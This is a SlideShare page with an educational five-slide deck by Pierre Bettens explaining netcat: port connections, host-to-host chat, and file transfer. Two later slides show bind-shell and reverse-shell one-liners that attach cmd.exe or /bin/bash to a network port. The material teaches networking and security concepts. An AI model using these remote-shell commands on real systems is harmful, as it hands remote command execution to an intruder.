netcat in 5 slides

759 views

Published on

I try to present a concept in 5 slides …

… today netcat.

Published in: Education, Technology, Business
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
759
On SlideShare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
18
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

netcat in 5 slides

  1. 1. netcat in 5 slides
  2. 2. netcat is simply describe as tool that can read and write on TCP and UDP ports (client mode / server mode) HEB-ÉSI · Pierre Bettens (pbt) · 2 / 9
  3. 3. basic use nc -vv <IP> <PORT> $ nc -vv 192.168.216.101 80 connect to service and try to send command something like telnet HEB-ÉSI · Pierre Bettens (pbt) · 3 / 9
  4. 4. basic use using netcat as client/server chat (host1 10.0.0.4) server $ nc -lvvp 4444 (host2) client $ nc -vv 10.0.0.4 4444 HEB-ÉSI · Pierre Bettens (pbt) · 4 / 9
  5. 5. basic use using netcat to transfer file (host1 → host2) (host1 10.0.0.4) receiver $ nc -lvvp 4444 > receivedfile.txt (host2) sender $ nc -vv 10.0.0.4 4444 < filetosend.txt HEB-ÉSI · Pierre Bettens (pbt) · 5 / 9
  6. 6. netcat is a backdoor ?
  7. 7. advanced use using netcat for command redirection Bob (10.0.0.5) request Alice help and start C:> nc -lvvp 4444 -e cmd.exe Alice can connect to Bob $ nc -v 10.0.0.5 4444 HEB-ÉSI · Pierre Bettens (pbt) · 7 / 9
  8. 8. advanced use using netcat for command redirection Bob (10.0.0.5) is available for Alice C:> nc -lvvp 4444 Alice can connect to Bob and send command $ nc -v 10.0.0.5 4444 -e /bin/bash HEB-ÉSI · Pierre Bettens (pbt) · 8 / 9
  9. 9. This slides are part of 5slides serie « 5slides – how to present a concept in 5 slides » Credits Offensive security lab by Mati Aharoni pp37-48 netcat user guide · netcat.sourceforge Who am I ? Pierre Bettens (pbt) – http://blog.namok.be Images and icons The noun project; Joe Harrisson, Juan Pablo Bravo, Mert Gutav DeviantArt; Ritvik Pandey

×